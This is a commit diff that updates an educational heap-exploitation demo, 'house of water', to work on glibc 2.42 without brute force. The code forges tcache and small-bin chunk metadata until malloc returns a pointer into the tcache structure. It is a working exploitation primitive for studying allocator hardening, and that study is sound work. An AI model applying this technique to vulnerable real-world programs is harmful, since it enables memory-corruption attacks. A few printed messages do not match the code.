Skip to content

Commit e41b820

Browse files
committed
make the bruteforce-less house_of_water work for 2.42
1 parent 18980a3 commit e41b820

File tree

1 file changed

+46
-30
lines changed

1 file changed

+46
-30
lines changed

glibc_2.42/house_of_water.c

Lines changed: 46 additions & 30 deletions
Original file line numberDiff line numberDiff line change
@@ -14,7 +14,7 @@
1414
* The technique starts by allocating the 'relative chunk' immediately after tcache metadata,
1515
* sharing the same ASLR-partially-controlled second nibble (which is 2) as the target fake chunk location.
1616
*
17-
* Then it crafts fake tcache entries in the 0x320 & 0x330 bins using two other controlled chunks matching the 'relative chunk' size,
17+
* Then it crafts fake tcache entries in the 0x310 & 0x320 bins using two other controlled chunks matching the 'relative chunk' size,
1818
* then frees all three chunks into the unsorted bin while keeping the 'relative chunk' centered.
1919
* A large allocation sorts them into the same small bin linked list.
2020
*
@@ -43,6 +43,19 @@ int main(void) {
4343
setbuf(stdout, NULL);
4444
setbuf(stderr, NULL);
4545

46+
puts("\n");
47+
puts("\t==============================");
48+
puts("\t| STEP 0 |");
49+
puts("\t==============================");
50+
puts("\n");
51+
52+
puts("Very important for glibc-2.42! Now the sizeof `tcache_perthread_struct` is 0x300\n");
53+
puts("Without the following heap fengshui, this technique will require 4-bit brutefoce\n\n");
54+
55+
// this allocation will force the allocation of `tcache_perthread_struct` at offset 0x4f0, which is good for us
56+
puts("Do malloc(0x480) to force the misalignment of `tcache_perthread_struct`\n");
57+
malloc(0x4e0);
58+
4659

4760
puts("\n");
4861
puts("\t==============================");
@@ -86,7 +99,8 @@ int main(void) {
8699
// Step 2: Fill up t-cache for 0x90 size class
87100

88101
// This is just to make a pointer to the t-cache metadata for later.
89-
void *metadata = (void *)((long)(relative_chunk) & ~(0xfff));
102+
void *metadata = (void *)((long)(relative_chunk) & ~(0xfff)) + 0x490;
103+
printf("metadata: %p\n", metadata);
90104

91105
// Make allocations to free such that we can exhaust the 0x90 t-cache
92106
puts("Allocate 7 0x88 chunks needed to fill out the 0x90 t-cache at a later time");
@@ -112,13 +126,13 @@ int main(void) {
112126
puts("\t==============================");
113127
puts("\n");
114128

115-
// Step 3: Create a 0x320 and a 0x330 t-cache entry which overlaps small_start and small_end.
129+
// Step 3: Create a 0x310 and a 0x320 t-cache entry which overlaps small_start and small_end.
116130
// By doing this, we can blindly fake a FWD and BCK pointer in the t-cache metadata!
117131

118132
puts("Here comes the trickiest part!\n");
119133

120-
puts("We essentially want a pointer in the 0x320 t-cache metadata to act as a FWD\n");
121-
puts("pointer and a pointer in the 0x330 t-cache to act as a BCK pointer.");
134+
puts("We essentially want a pointer in the 0x310 t-cache metadata to act as a FWD\n");
135+
puts("pointer and a pointer in the 0x320 t-cache to act as a BCK pointer.");
122136
puts("We want it such that it points to the chunk header of our small bin entries,\n");
123137
puts("and not at the chunk itself which is common for t-cache.\n");
124138

@@ -130,12 +144,12 @@ int main(void) {
130144
puts("");
131145

132146
puts("small_start:");
133-
printf("0x%016lx\t\t0x%016lx 0x%016lx <-- tcachebins[0x330][0/1], unsortedbin[all][0]\n", (unsigned long)(small_start-0x10), *(long *)(small_start-0x10), *(long *)(small_start-0x8));
147+
printf("0x%016lx\t\t0x%016lx 0x%016lx <-- tcachebins[0x320][0/1], unsortedbin[all][0]\n", (unsigned long)(small_start-0x10), *(long *)(small_start-0x10), *(long *)(small_start-0x8));
134148
dump_memory(small_start, 2);
135149
puts("");
136150

137151
puts("small_end:");
138-
printf("0x%016lx\t\t0x%016lx 0x%016lx <-- tcachebins[0x320][0/1], unsortedbin[all][2]\n", (unsigned long)(small_end-0x10), *(long *)(small_end-0x10), *(long *)(small_end-0x8));
152+
printf("0x%016lx\t\t0x%016lx 0x%016lx <-- tcachebins[0x310][0/1], unsortedbin[all][2]\n", (unsigned long)(small_end-0x10), *(long *)(small_end-0x10), *(long *)(small_end-0x8));
139153
dump_memory(small_end, 2);
140154

141155
puts("\n");
@@ -156,16 +170,16 @@ int main(void) {
156170
puts("\n");
157171

158172
// Step 3 part 1:
159-
puts("Write 0x331 above small_start to enable its free'ing into the 0x330 t-cache.");
160-
printf("\t*%p-0x18 = 0x331\n", small_start);
161-
*(long*)(small_start-0x18) = 0x331;
173+
puts("Write 0x321 above small_start to enable its free'ing into the 0x320 t-cache.");
174+
printf("\t*%p-0x18 = 0x321\n", small_start);
175+
*(long*)(small_start-0x18) = 0x321;
162176
puts("");
163177

164-
puts("This creates a 0x331 entry just above small_start, which looks like the following:");
178+
puts("This creates a 0x321 entry just above small_start, which looks like the following:");
165179
dump_memory(small_start-0x20, 3);
166180
puts("");
167181

168-
printf("Free the faked 0x331 chunk @ %p\n", small_start-0x10);
182+
printf("Free the faked 0x321 chunk @ %p\n", small_start-0x10);
169183
free(small_start-0x10); // Create a fake FWD
170184
puts("");
171185

@@ -175,7 +189,7 @@ int main(void) {
175189
*(long*)(small_start-0x8) = 0x91;
176190
puts("");
177191

178-
puts("Now, let's do the same for small_end except using a 0x321 faked chunk.");
192+
puts("Now, let's do the same for small_end except using a 0x311 faked chunk.");
179193
puts("");
180194

181195

@@ -185,16 +199,16 @@ int main(void) {
185199
puts("\n");
186200

187201
// Step 3 part 2:
188-
puts("Write 0x321 above small_end, such that it can be free'd into the 0x320 t-cache:");
189-
printf("\t*%p-0x18 = 0x321\n", small_end);
190-
*(long*)(small_end-0x18) = 0x321;
202+
puts("Write 0x311 above small_end, such that it can be free'd into the 0x320 t-cache:");
203+
printf("\t*%p-0x18 = 0x311\n", small_end);
204+
*(long*)(small_end-0x18) = 0x311;
191205
puts("");
192206

193-
puts("This creates a 0x321 just above small_end, which looks like the following:");
207+
puts("This creates a 0x311 just above small_end, which looks like the following:");
194208
dump_memory(small_end-0x20, 3);
195209
puts("");
196210

197-
printf("Free the faked 0x321 chunk @ %p\n", small_end-0x10);
211+
printf("Free the faked 0x311 chunk @ %p\n", small_end-0x10);
198212
free(small_end-0x10); // Create a fake BCK
199213
puts("");
200214

@@ -239,17 +253,17 @@ int main(void) {
239253
puts("\t\tsmall_start <--> relative_chunk <--> small_end");
240254
printf("\t\t%p <--> %p <--> %p\n", small_start-0x10, relative_chunk-0x10, small_end-0x10);
241255

242-
printf("\t- 0x320 t-cache:\n");
243-
printf("\t\t* 0x%lx\n", *(long*)(metadata+0x390));
244-
printf("\t- 0x330 t-cache\n");
245-
printf("\t\t* 0x%lx\n", *(long*)(metadata+0x398));
256+
printf("\t- 0x310 t-cache:\n");
257+
printf("\t\t* 0x%lx\n", *(long*)(metadata+0x310));
258+
printf("\t- 0x320 t-cache\n");
259+
printf("\t\t* 0x%lx\n", *(long*)(metadata+0x318));
246260
puts("");
247261

248262
puts("The fake chunk in the t-cache will look like the following:");
249263
dump_memory(metadata+0x370, 4);
250264
puts("");
251265

252-
puts("We can now observe that the 0x330 t-cache points to small_start and 0x320 t-cache points to ");
266+
puts("We can now observe that the 0x320 t-cache points to small_start and 0x310 t-cache points to ");
253267
puts("small_end, which is what we need to fake a small-bin entry and hijack relative_chunk.");
254268

255269

@@ -269,13 +283,14 @@ int main(void) {
269283

270284
/* VULNERABILITY */
271285
printf("\t- small_start:\n");
272-
printf("\t\t*%p = %p\n", small_start, metadata+0x200);
273-
*(unsigned long *)small_start = (unsigned long)(metadata+0x200);
286+
void *metadata_page = (void*)((long)metadata & ~0xfff);
287+
printf("\t\t*%p = %p\n", small_start, metadata_page+0x700);
288+
*(unsigned long *)small_start = (unsigned long)(metadata_page+0x700);
274289
puts("");
275290

276291
printf("\t- small_end:\n");
277-
printf("\t\t*%p = %p\n", small_end, metadata+0x200);
278-
*(unsigned long *)(small_end+0x8) = (unsigned long)(metadata+0x200);
292+
printf("\t\t*%p = %p\n", small_end, metadata_page+0x700);
293+
*(unsigned long *)(small_end+0x8) = (unsigned long)(metadata_page+0x700);
279294
puts("");
280295
/* VULNERABILITY */
281296

@@ -284,8 +299,7 @@ int main(void) {
284299

285300
puts("\t- small bin:");
286301
printf("\t\t small_start <--> metadata chunk <--> small_end\n");
287-
printf("\t\t %p\t %p %p\n", small_start, metadata+0x200, small_end);
288-
302+
printf("\t\t %p\t %p %p\n", small_start, metadata+0x228, small_end);
289303

290304
puts("\n");
291305
puts("\t==============================");
@@ -306,12 +320,14 @@ int main(void) {
306320
_ = malloc(0x88);
307321

308322

323+
324+
309325
// Next allocation *could* be our faked chunk!
310326
void *meta_chunk = malloc(0x88);
311327

312328
printf("\t\tNew chunk\t @ %p\n", meta_chunk);
313329
printf("\t\tt-cache metadata @ %p\n", metadata);
314-
assert(meta_chunk == (metadata+0x210));
330+
assert(meta_chunk == (metadata+0x280));
315331

316332
puts("");
317333
}

0 commit comments

Comments
 (0)